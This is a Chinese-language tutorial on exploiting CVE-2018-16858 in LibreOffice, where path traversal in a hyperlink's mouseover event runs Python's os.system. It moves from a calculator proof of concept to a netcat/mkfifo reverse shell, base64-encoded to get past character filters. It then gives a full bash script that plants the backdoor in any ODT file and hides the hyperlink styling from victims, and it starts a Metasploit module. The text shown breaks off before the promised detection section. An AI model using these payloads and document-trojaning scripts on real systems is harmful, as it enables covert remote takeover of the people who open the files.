本文将介绍如何利用程序的一个简单漏洞,在运行该程序的系统上打开一个后门。
相关漏洞由CVE-2018-16858定义,属于LibreOffice办公套件。该漏洞通过一个特制文件实现目录遍历,从而允许执行Python代码。在用户对文档进行操作时,该执行会被触发,且不会因宏执行而给予用户任何警告。
本文档分为五个部分。第一部分将解释漏洞本身,如何解包一个OpenDocument,如何修改其结构以便执行所需的本地脚本,以及如何重新打包文档以供执行和测试。
第二部分将介绍如何利用本地执行在打开文档的系统上运行任意命令,并生成一个允许远程命令执行的后门。
第三部分将自动化生成文档的过程,创建具有直接或反向通信的后门,指定需要连接的IP地址和端口。
第四部分将讨论将该漏洞集成到Metasploit系统中,以便通过msfconsole生成与Metasploit利用方式兼容的文档。这样就可以选择Metasploit套件中定义的任何payload作为要执行的代码。
第五部分也是最后一部分,将展示如何将检测过程集成到防病毒系统中,以识别通过上述方法感染的LibreOffice文件。将使用ClamAV防病毒软件的检测格式,从而更好地理解防病毒的检测过程,并便利我们防范此类威胁。
整个过程基于Debian的Linux系统,但这里解释的内容可以外推到其他系统,因为描述十分详细。原始CVE的漏洞和概念验证都是针对Windows版LibreOffice的,因此可以随时参考该来源,以便以类似方式在Windows版本中使用本文档描述的内容。
LibreOffice(以及因遗传原因,Apache OpenOffice)在其最新版本(6.1.5)之前的版本中存在一个漏洞,允许执行位于计算机上任意位置的Python代码,而用户不会收到宏执行的警告。
要查看该漏洞,我们可以新建一个文本文档,在其中写入一些内容,选中它并生成一个超链接。要在文本中创建超链接,需要选择“插入”菜单,然后选择“超链接”选项(也可以通过选中文本后使用组合键Ctrl+K实现)。
将出现以下对话框:

要定义超链接,我们需要插入一个URL并点击“应用”。除了URL选项外,在对话框底部(可以读到进一步设置),我们还会有一个带有播放图标的按钮,它允许我们将事件与特定动作绑定。在这里我们定义希望执行一段Python代码作为动作。
点击该按钮将打开一个新对话框:

在这里我们可以选择三个基本事件以及要使用的脚本。作为事件,我们选择鼠标悬停对象,作为脚本,在LibreOffice宏系列的脚本中,选择Python样本。在该选项下只有一个名为TableSample的默认脚本,我们选择它。
完成此操作后,如果将鼠标悬停在我们转为超链接的文本上,我们会看到打开了一个包含表格的文档窗口。这意味着我们将鼠标悬停在超链接上的事件与Python脚本关联起来了。我们的目的是用我们自己想要的动作替换这个脚本。
为此,我们将保存我们创建的文档,退出LibreOffice,然后在控制台中执行一系列命令。
ODT文档格式不过是一个包含一系列文件的zip压缩包(Microsoft Office的DOCX格式非常类似)。因此,我们首先要做的是用zip解压缩工具解压该文件。
在我们的例子中,我们将使用名为unzip的命令行工具,只需执行以下语句:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
这样我们就能看到OpenDocument类型文件内部实际包含的文件。对我们来说最重要的文件是mimetypes文件、content.xml文件和styles.xml文件。
mimetype文件必须是zip文件列表中第一个出现的文件,因此当我们重新打包文件时,必须强制我们的打包工具这样做,否则该文件将不会被识别为OpenDocument。
content.xml文件包含我们编写的文档文本,其中文本混合了特定标签,这些标签说明文本应以何种格式显示。
例如,下面一行:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
可以看到一个用特定样式(由text:style-name属性定义)编写的段落文本示例。文本段落位于标签__text:p和</text:p>__之间。
与我们创建的超链接相关联的脚本也可以很简单地看到。如果在content.xml文本中搜索python或我们加载的python脚本名称(本例中为TableSample.py),就可以很容易地检测到我们需要修改内容的行:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
在这一行中,包含了当鼠标悬停在超链接上时要加载的python脚本路径(TableSample.py)以及要执行的python函数(本例中为createTable)。
LibreOffice固有的问题是:在读取文档时,它没有正确清理要加载的python代码值。程序没有清理文件路径中的**../**字符,因此可以访问打开文本文档的系统中任意文件。此外,如果访问的文件是包含python代码的文件,我们就可以执行该文件中定义的任何函数。
作为第一个概念验证,我们将让鼠标悬停在超链接上时执行计算器程序,在我们的例子中,galculator程序会打开计算器。我们需要生成一个python程序,该程序允许在函数内执行命令,就像LibreOffice期望执行的方式一样。为此,我们在路径**/tmp/prueba.py**下生成以下代码:
import os;
def ejecuta():
os.system("galculator");
通过这段小代码,我们就能实现目的。现在只需将python文件**/tmp/prueba.py以及函数名ejecuta**添加到odt文件的调用中。因此,原本调用python的行将变成如下形式:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
可以看到,我们所做的是添加了大量**../以确保能向上导航到文件系统根目录。然后从那里添加指向我们python文件的精确路径(prueba.py)。在$之后添加了单词ejecuta**,这是负责加载计算器的函数。
完成此操作后,我们将重新打包odt文件,记住将mimetype作为第一个文件。如果使用zip工具,只需在解压了odt并包含恶意content.xml的目录中执行以下命令:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
完成后,用LibreOffice打开该文件,我们会发现当鼠标悬停在超链接上时,计算器程序被执行了。
这个第一步需要一个生成的python代码,其中包含一个可以不带参数执行的函数。实现起来很简单,但在真实的渗透测试中难以在可信或可复现的环境中使用。
从LibreOffice 6.1版本开始,可以在调用python函数时向这些函数传递参数。这为希望合法使用该程序宏的人提供了更大的脚本自由度,但同时也为我们这些希望寻找软件漏洞的人提供了黄金机会。
正如我们之前所说并确实使用过的,要执行系统调用来运行任意命令,需要调用os类和system函数。我们正是用它来调用计算器,传递了字符串galculator作为参数。python类的好处是我们可以知道它们的位置,实际上,为了利用可以传递参数给函数的特性,我们可以定位该类的位置。之前我们在/tmp/中执行了一个python程序(prueba.py)中的函数。现在,我们将直接调用位于系统库之一os.py中的system函数。 例如,在当前的Linux系统中,我们通常可以在路径**/usr/lib/python3.5/os.py找到它。因此,我们将之前的路径/tmp/prueba.py替换为此新路径。现在,将函数ejecuta替换为system**,并且由于我们可以向该函数传递参数,我们现在可以直接执行galculator程序或任何其他我们想执行的程序,无需在查看LibreOffice文档的机器上生成一个python文件执行。
之前我们在content.xml文件中有这个字符串:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
现在我们只需使用以下内容:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
将文件打包为LibreOffice文档的方式完全相同。现在的结果是:只需打开odt文档,无需在任何特定路径放置python程序。当然,需要打开文档的LibreOffice版本至少为6.1。
一旦打开文件并将鼠标悬停在文档的链接上,计算器应用程序就会像上一个例子一样打开。
打开文档时执行的命令在本地机器上执行,因此这种执行的一个用途是打开一个后门,允许我们从其他地方远程执行命令。
为了创建一个非常简单的后门,我们将使用nc命令,并创建一个fifo,以便通过同一个端口向计算机发送命令并获取执行结果。在我们最初使用漏洞执行命令的方法中,我们不得不编写一个python程序。我们的想法是不向要利用的计算机上传任何额外代码,因此我们将使用系统命令来生成后门。
nc命令是一个系统命令,允许在本地系统上打开一个端口,或连接到远程系统的端口,以便通过该连接接收的内容输出到标准输出,而通过标准输入的内容则通过连接发送到另一台机器。我们可以使用管道**|将正在执行的命令的屏幕输出传递给另一个命令,因此将nc命令与/bin/bash命令连接起来将允许我们轻松实现远程命令执行。如果我们执行nc ip端口 | /bin/bash**,通过nc命令连接收到的内容将传递给执行shell的**/bin/bash命令,这样我们从连接到的计算机发送的所有命令都将被执行。但这些命令的标准输出不会返回给nc命令,因此看不到这些输出。我们可以将/bin/bash的标准输出重定向到另一个使用不同端口的nc**命令,但这样我们需要两个端口来发送命令和接收命令输出,这有些笨拙。
一个简单的解决方案是使用fifo。mkfifo命令生成一个文件,允许同时写入和读取。因此,我们将生成一个fifo文件,作为nc命令的输入,以便写入该文件的所有内容都通过连接发送,并作为**/bin/bash**命令的输出,这样通过该命令执行的所有输出的内容都写入fifo文件。
在任何Linux终端中建立充当服务器的后门的命令序列如下:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
要从任何其他计算机连接到该机器,应执行以下命令:
user@host:~/$ nc ip 端口
其中ip是后门机器的IP地址,端口是我们在后门机器上执行nc时指定的相同值。
如果目标机器网络防火墙问题导致无法将其作为服务器使用,我们可以反向操作,让拥有后门的机器连接到我们控制的服务器。为此,我们首先在我们的机器上执行以下命令:
user@host:~/$ nc -l -p 端口
然后在后门机器上执行如下非常相似的命令序列:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
最后一个命令中出现的IP地址必须是我们机器的地址。显然,远程机器必须能够到达该IP地址,才能建立连接,通过该连接我们将发送要在远程系统上执行的命令。
因此,在后门机器上,为了将命令写在一行中,可以执行以下行:
user@host:~/$ mkfifo /tmp/lalala;nc -l -p 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
或者执行以下行:
user@host:~/$ mkfifo /tmp/lalala;nc ip 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
一旦理解这一点,如果我们能通过libreoffice文件执行任一后门,我们就能远程控制打开文档的计算机。
显然,如果我们修改之前放在tmp中的python文件,不执行计算器而是执行后门,就会自动执行。
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;");
按照这种生成后门的思路,现在就可以在office文档中实现。方法相对简单,只需将linux计算器命令替换为允许打开后门的命令。
将代替计算器命令执行的后门如下:
mkfifo /tmp/lalala; nc IP 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
这是一个反向连接后门,因此为了使其运行并获得shell,必须在主机上打开一个监听地址为IP、端口为端口的socket。需要将这些值替换为我们主机的IP和打开的端口。
这个命令有一个问题:LibreOffice不允许使用某些特殊字符,如**<或|**,因此我们必须绕过这些字符的使用才能利用我们的漏洞。
一个简单的解决方案可能是使用base64。Base64几乎默认安装在所有Linux机器上,是一个允许通过该算法进行编码和解码的程序。因此,我们可以将我们想要执行的内容用base64编码,重定向到一个文件,之后该文件将被解码并执行。
我们将使用一种实现后门的方式,可能有些笨拙,但相当透明且容易理解。随后,按照相同的思路,可以随意复杂化以使一切更紧凑。由于本指南旨在教育,将保持更笨拙但命令和执行非常简单的公式。
如果在终端中执行以下命令,我们可以获得payload的base64版本:
echo "mkfifo /tmp/lalala; nc IP 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
结果将类似于:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
现在我们已经没有通过漏洞执行时可能引起问题的任何字符了。但是,如果将此内容直接放入system命令,我们什么也不会执行。实际上,我们可以用echo将该内容重定向到一个文件。这样我们就有一个文件,解码后可以执行。因此,我们将生成一个文件,然后用base64命令解码,并使用允许解码的参数将其重定向到另一个文件。现在这个文件才是我们要执行的。首先分段解释每个命令,然后将它们全部放入exploit的system调用中:
首先,在打开LibreOffice文档的机器的**/tmp/目录中生成一个base64文件,命名为lalala.base64**。
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64由于该编码文件对我们毫无用处,我们将对其进行解码,并将输出重定向到同一目录下的一个后续要执行的文件,该文件名为 **lalala.sh**。
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
该文件没有执行权限,因此我们需要赋予它这些权限。
chmod 777 /tmp/lalala.sh
然后,我们需要执行生成的 bash 文件。
/tmp/lalala.sh
最后,删除计算机上生成的所有中间文件。
rm /tmp/lalala.sh
rm /tmp/lalala.base64
在我们的 exploit 中对 system 函数的调用中,将使用 ; 分隔所有这些命令,从而一个接一个地执行命令,最终形成应放入 contents.xml 中 system 调用的命令或负载,以替代计算器。最后,我们原本有如下允许执行计算器的内容:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
我们将放置以下内容:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
重新打包 LibreOffice 文档后,我们就有了一个文档,当鼠标悬停在其上时,将执行我们的后门。
在打开文档之前,如前所述,我们需要事先监听一个端口,而后门连接到我们的主机后,我们就能在打开该 LibreOffice 文档的远程系统上执行命令。
下一步,也是生成 metasploit 模块之前的一步,必须能够自动化并泛化该过程。这有助于检查是否清楚要进行的更改,以便模块化并具体描述要解决的问题,从而编写一个通用程序来使用所选负载感染 LibreOffice 文档。在本节中,我们将编写一个小脚本,用于将后门注入 LibreOffice 文件。
脚本需要三个参数:Office 文档、打开 Office 文档时计算机应连接的 IP 地址,以及应连接的端口。执行脚本后,我们应得到一个包含后门的 LibreOffice 文档。由于需要解压 zip 文件,我们的脚本运行目录必须是干净的,因此需要在脚本中进行检查。
为了不因语言造成问题,我们将使用 bash 脚本,虽然可能有点粗糙,但可以调用 GNU 程序完成繁重的工作。之后,这些由 GNU 程序自动完成的工作,要么需要手动编写,要么在生成 metasploit 模块时使用相关库来辅助。
脚本首先要求待植入木马的文件存在,如果不存在,则告知用户文件不存在:
if [ -e $1 ]; then
#此处为程序代码。
else
echo "The odt file does not exists!!";
fi;
if 在方括号内的条件成立时执行其中的操作。在 bash 中,条件 -e 如果其后指定的文件名存在则返回真。这里使用了一个固定位置参数 $1,在 bash 中它对应于用户执行脚本时输入的第一个参数。在本例中,第一个参数指定了要植入木马的 .odt 文件。
我们要求脚本运行目录为空,这只是为了简化工作,因此需要在进入程序第一部分前进行检查。这次,脚本将执行 ls -a 命令,并检查运行目录中是否只存在两个文件:. 和 .. 目录。这通过以下代码段实现:
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
在此代码段中,变量 I 被初始化为 0。然后通过 for 循环遍历 ls -a 命令输出的每个元素,每次循环时变量 fichero 的值会变为每个元素的名称(即工作目录中每个文件的名称)。在 bash 中,将命令放在特殊引号 ` 之间可以执行该命令,并将其屏幕输出赋给变量或用于循环中,就像我们的情况一样。 循环内部只是将变量 I 的值增加 1。在 bash 脚本中,等号右侧的变量(需要获取其值时)必须始终以美元符号 $ 开头。此外,要执行数学运算,需要将运算 $I+1 用 $(( 和 )) 括起来,这告诉 bash 解释器当前处于数学模式,应对其中的内容进行运算。
循环结束后,如果目录为空,变量 I 应为 2;如果目录中包含文件,则大于 2。因此,通过一个条件检查变量是否大于 2,以便停止程序并通知用户。再次使用 if,但这次使用大于比较,在 bash 中写作 -gt(greater than 的缩写)。如代码段所示,如果值大于 2,通知用户错误;否则继续执行其余指令。
最后一个检查,确保用户输入了 3 个参数。这通过检查变量 $3 是否为空来实现。该变量指定第三个参数是否已输入,如果为空,则意味着用户执行的指令没有 3 个输入参数。只需与空字符进行比较,若为空,则通知用户执行脚本时出错。这段代码同样非常简单:
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#继续执行程序。
fi;
完成这些检查后,开始执行命令,以便进行文档的木马植入。首先执行 unzip 命令解压 LibreOffice 文件。如果成功,继续流程,否则停止。
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
本部分的第一行只是解压用户指定的文件。条件部分通过程序的退出代码检查 unzip 命令是否成功执行。所有可通过控制台执行的程序都会返回该退出代码,标准情况下,非零值表示程序失败。获取该错误代码的方式是通过变量 $?,它包含最后执行命令的退出代码。
在条件中,我们检查该值是否为 0,如果不是,则通知用户一条消息。通知后执行 exit 命令,该命令可在该点立即停止脚本执行,以避免脚本继续运行后续行。
回想一下,解压文件后,需要更改 zip 内容中的两个文件:content.xml(用于插入木马本身)和 styles.xml(用于更改超链接的格式,以免打开文件的用户怀疑有问题)。
要插入的负载是上一节提到的那个,它需要是 base64 格式,因此我们将该负载保存在一个变量中。此外,将需要修改的文件重命名,以便读取和修改它们,并生成同名的文件。这样,原始名称的文件实际上就是修改后的文件:
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
与上一节中提到的原始负载相比,唯一的变化是 IP 地址和端口处使用了用户的参数 2 和 3。可以看到,这里执行的操作与之前使用 for 计算目录文件数量的操作类似,但这次命令的输出不再赋给循环变量,而是保存在名为 PAYLOAD 的变量中。 还可以看到,通过 mv 命令完成了所指示文件的重命名。
为了更改 contents.xml(现在名为 contents.xml.NEW)的内容,可以使用 sed 命令。Sed 是 Unix 命令套件中的一个基本命令,它允许(除其他功能外)替换某些正则表达式。需要对 content.xml.NEW 文件进行的更改是查找所有具有以下形式的条目:
<text:p text:style-name="Standard">
这不过是 LibreOffice 用于定义文本的标签。实际上,要定义任意文本,只需以 <text:p 开头并以 > 结尾即可。 我们要在其前面添加一个用于执行负载的链接,该链接与之前生成的 PAYLOAD 一起使用。最终结果如下:
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
其中 PAYLOAD 被替换为使用所选 IP 地址和端口计算出的 base64 代码。此外,在插入此内容后,必须保持前面提到的文本段落标签不变。
同时,还需要指示额外添加的标签的结束标记,因此所有文本结束标签 </text:p> 应替换为 </text:a></text:p>。
为此,将使用 sed 命令,该命令允许修改通过标准输入传入的所有内容。命令格式如下:
sed s/"搜索"/"替换"/g
s 告诉 sed 我们要进行替换,第一个字符串(示例中标记为 搜索)是要修改的内容(来自标准输入)。在示例命令中,字符串 替换 是 sed 将要替换搜索到的内容。两个单词后面的字母 g 表示不仅对第一个匹配的单词进行替换,而是对输入中所有匹配的单词都进行替换。如果按原样将以下句子通过标准输入传递给该命令:
la busqueda de sed permite busquedas y cambiarlas por algo.
sed 命令将返回以下句子:
la cambio de sed permite cambios y cambiarlas por algo.
此外,sed 还支持正则表达式,因此字符 *、.、^、[ 和 ] 具有特殊含义。在 sed 的第二个参数(定义替换内容)中,如果引入字符 &,它将在输出中显示搜索模式。本教程无意深入探讨 sed 的所有细节,因此仅描述要执行的命令及其功能。我们将使用管道 | 将一个命令的输出作为下一个命令的输入。
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
在该命令中,我们将 content.xml.NEW 文件传递给两次连续的 sed 执行。第一个 sed 插入负载部分,它搜索字符串 <text:p 后跟任意数量的非 > 字符,并且要求 > 之前的字符不是标签结束符。该正则表达式表示如下:
<text:p [^>]*[^\/]>
找到的该字符串将出现在 sed 命令的输出中,因为我们插入了字符 &,后跟链接标签,在该链接标签中也分配了当鼠标悬停时要执行的 Python 脚本。这基本上是所用标签的副本,只是中间插入了通过 bash 变量 $PAYLOAD 生成的 PAYLOAD。
第一次更改的输出将应用于第二次 sed 确定的更改,第二次 sed 将搜索文本结束标签 </text:p>,并在输出中使用相同的标签,前面加上链接结束标签,以便当遇到文本 </text:p> 时,输出为 </text:a></text:p>。
完成这两次更改后,content.xml.NEW 文件将转换为我们想要的文件,因此执行 sed 后的输出将被导入到输出文件 content.xml 中。
完成后,不再需要临时文件 content.xml.NEW,因此通过 rm 命令将其删除。
rm content.xml.NEW
还需要进行修改,以确保生成的内容中的超链接在打开文件时不会显示为超链接。因此,需要删除超链接默认的下划线。在名为 styles.xml 的文件中,LibreOffice 以 xml 格式保存样式,可以通过文本更改来修改这些样式。
超链接在 LibreOffice 中的默认样式名为 Internet_20_link,因此首先要做的是更改默认样式的名称,将其重命名为 LibreOffice 无法关联到强制下划线格式的名称。只需在所有以此方式命名的样式后面加上一个 2,这样在文档中就(如果已定义)不会使用该样式。另一方面,我们将定义一个同名的新样式,但指定不显示下划线。该样式的 xml 格式如下:
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
定义样式并知道如何在 LibreOffice 格式中编码的最简单方法可能是创建一个新样式,按需定义,然后保存并解包文档,在 styles.xml 文件中查看。在这种情况下,通过阅读标签的一些属性,可以看到样式中只定义了不显示下划线且没有特殊颜色。
由于事先不知道文件的结构以及样式在样式文件中的位置,我们将再次采用一种粗糙但有效的方法:搜索样式结束标签 </style:style>,并在末尾添加建议的样式定义。虽然不知道标签在文件中的确切位置,但这样就不必定义更复杂的规则来去除超链接的下划线,从而使打开文件的人无法轻易察觉到问题。
与之前的情况类似,我们将通过 sed 命令进行这些更改,命令如下:
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
情况与之前类似,执行上述描述的操作。首先将 styles.xml.new 文件的内容输出到屏幕,第一个 sed 中将超链接样式名称末尾加上 2 进行更改。第二个 sed 中添加手动定义的样式,更改后的所有内容被转储到 styles.xml 文件中,该文件将被保留,同时通过 rm 命令删除 styles.xml.NEW 文件。
最后一步是通过 linux zip 命令将所有内容打包成一个新的 zip 文件。再次通过 bash 变量 $? 验证命令是否成功执行(0 表示成功)。
最后这一部分的代码如下:
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
完整脚本的最终代码将类似于以下内容:if [ -e $1 ]; then
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
rm content.xml.NEW;
mv styles.xml styles.xml.NEW;
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
rm styles.xml.NEW;
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
fi;
fi;
else
echo "The odt file does not exists!!";
fi;
在本节中,我们将创建一个 Metasploit 模块,该模块能够执行与上一节相同的操作,但一方面可以将其集成到 Metasploit 套件中,另一方面能够使用该套件内置的 payloads。需要注意的是,该模块将生成一个 .odt 类型的文件,并且需要设置一个 handler 来连接到打开 Office 文档的主机。
Metasploit 模块通常使用 Ruby 语言编写,并利用 Ruby 库和类以及 Metasploit 自身的库和类,以便于与套件其他部分的集成。
要生成的模块基于一个漏洞利用,该漏洞的利用涉及使用一个 payload,即我们想要执行的内容。因此,我们的模块将继承自 Metasploit 的 Msf::Exploit 类。该类的特性之一是可以在使用模块时定义一个要执行的 payload。
我们将处理文件的打开和关闭以及 zip 文件,因此还需要使用 fileutils 和 zip 库来解包 .odt 文件,并修改 content.xml 和 styles.xml 文件的内容。
模块头将以以下行开始:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
现在我们将开始定义正在构建的类,其中首先需要定义模块的各种属性。所有这些属性都将放在初始化函数中,该函数只需调用父类 super 来初始化 Exploit 类的属性。这部分不需要编写任何程序逻辑,只需定义变量和值。
关于属性的定义,需要定义的属性如下:
定义模块名称的名字 (Name)。 提供描述,在查看模块帮助时显示 (Description)。 定义生成模块的特定许可证 (License)。 定义模块的作者或作者们 (Author)。 应引用 CVE 或模块利用的错误参考 (References)。 定义模块可在哪些操作系统上使用 (Platform)。 定义模块可在哪种 CPU 架构上运行 (Arch)。 Payload,可以定义在 exploit 中使用的 payload 的特性。在此属性中,大小('size')尤为重要,通常与执行代码的缓冲区大小相关,以及是否需要对 payload 的字节进行转换以使其执行 (DisableNops)。 目标,与可以通过正在定义的 exploit 执行的 payloads 相关 (Target)。正确定义此属性很重要,以便模块用户在运行时不会输入错误的 payloads。 最后,要注册的选项允许引入在执行 exploit 时使用的新变量 (register_options)。将定义新的元素,可以是不同类型;在我们的例子中,将定义一个路径类型的变量,用于指定要木马化的 .odt 文件的路径,以及一个字符串类型的属性,用于定义保存木马化文件的新 .odt 文件名。这样原始文件将不会被改变,而是生成一个新的木马化文件。要定义路径类型的属性,需要调用 optPath 类的构造函数;对于字符串类型,则使用 optString 类。
这些属性的初始化仅涉及赋值,模块中的实现如下所示:
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
通过初始化中的定义,我们已经可以生成 exploit 的逻辑部分,这部分将执行与 bash 实现的 exploit 相同的操作,但这次使用 Metasploit 所用的 ruby 语言。将执行完全相同的操作,但使用 ruby 语言自身的功能。
要定义的函数是 Metasploit 在 msfconsole 中输入 exploit 或 run 时调用的函数,应命名为 exploit。在该函数内部,将定义程序本身,根据已创建对象的初始化中定义的属性执行相应的操作。
首先要做的是验证用户定义的文件名是否以 .odt 结尾。这可以通过检查变量 datastore['INPUT'] 和 datastore['OUTPUT'] 的内容来完成。可以使用 to_s 方法将其转换为 string,以及 end_with 方法来确定字符串是否以特定值结尾。例如以下调用:
datastore['INPUT'].to_s.end_with?('.odt')
如果输入路径以 .odt 结尾则返回真,否则返回假。因此检查方式如下:
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
